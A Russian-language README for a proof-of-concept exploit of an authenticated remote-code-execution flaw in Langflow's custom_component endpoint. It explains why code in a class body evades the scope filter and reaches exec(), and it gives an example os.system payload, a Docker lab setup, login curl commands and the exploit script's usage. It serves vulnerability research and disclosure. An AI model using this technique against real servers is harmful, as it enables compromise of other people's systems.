
PoC для CVE-2026-17633 — аутентифицированный RCE в IBM Langflow OSS 1.0.0–1.10.3 через эндпоинт custom_component. Включает исследование обхода AST-сканера CVE-2026-17632.
Только в образовательных целях. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Langflow — это открытая low-code платформа для создания приложений на базе LLM и рабочих процессов AI-агентов. Она предоставляет визуальный интерфейс drag-and-drop, в котором пользователи могут соединять компоненты — модели, ретриверы, инструменты, память, пользовательский код на Python — в исполняемые потоки. Функция Custom Component позволяет пользователям определять поведение компонента непосредственно на Python, что и является поверхностью атаки, эксплуатируемой в данном исследовании.
5 августа 2026 года IBM опубликовала бюллетень безопасности, раскрывающий серию уязвимостей, затрагивающих Langflow OSS версий с 1.0.0 по 1.10.3. Полный бюллетень доступен по адресу:
Данное исследование сосредоточено на двух CVE из этого выпуска:
| CVE | CVSS | Краткое описание |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | Аутентифицированный RCE через /api/v1/custom_component — код передаётся напрямую в exec() без проверки безопасности |
| CVE-2026-17632 | 8.8 HIGH | Обход AST-сканера безопасности — специально сконструированный Python-код проходит scan_code_security() с is_safe: True, при этом выполняя произвольные команды ОС |
Обе CVE были обнаружены независимо путём статического анализа исходного кода Langflow 1.10.3.
Данное исследование проводилось в изолированной лабораторной среде против самостоятельно размещённого экземпляра Langflow. Все находки раскрыты ответственно. Не используйте это против систем без явного письменного разрешения.
Конечная точка POST /api/v1/custom_component в Langflow OSS 1.0.0–1.10.3 принимает произвольный Python-код от аутентифицированного пользователя и выполняет его на стороне сервера через функцию Python exec(). В отличие от пути Agentic Assistant, эта конечная точка не вызывает scan_code_security() или любой другой AST-валидатор содержимого перед выполнением. Любой аутентифицированный пользователь может добиться удалённого выполнения кода одним HTTP-запросом.
CWE-94 — Некорректный контроль генерации кода
/api/v1/custom_componentИсточник: langflow/api/v1/endpoints.py — строка 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Когда LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (что часто встречается в production-развёртываниях), код направляется напрямую в build_custom_component_template() с нулевой проверкой содержимого.
prepare_global_scope() и ast.ExprЦепочка выполнения ведёт к create_class() в lfx/custom/validate.py, который вызывает prepare_global_scope() перед компиляцией и выполнением класса:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Одиночный вызов функции на уровне модуля (например, os.system(...)) является узлом ast.Expr — он не соответствует проверке isinstance и молча отбрасывается. Однако код, размещённый внутри тела класса, является частью узла ClassDef и выполняется полностью при определении класса через exec() внутри compile_class_code().
Это ключевое наблюдение: полезная нагрузка должна находиться внутри тела класса, а не на уровне модуля.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
LLM не требуется. Обход сканера не нужен. Один HTTP-запрос.
| Требование | Значение |
|---|---|
| ОС хоста | Kali Linux (протестировано) |
| Docker | CE 5.x + плагин Compose v2 |
| Образ Langflow | langflowai/langflow:1.10.3 |
| ОЗУ | минимум 4 ГБ для контейнера |
Создайте каталог для лаборатории и сохраните следующее как docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Запустите лабораторию:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Войдите в http://127.0.0.1:7860, используя учётные данные суперпользователя, определённые выше. Токен доступа хранится в cookie браузера access_token_lf. Альтернативно получите его через API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Скопируйте значение access_token из ответа.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]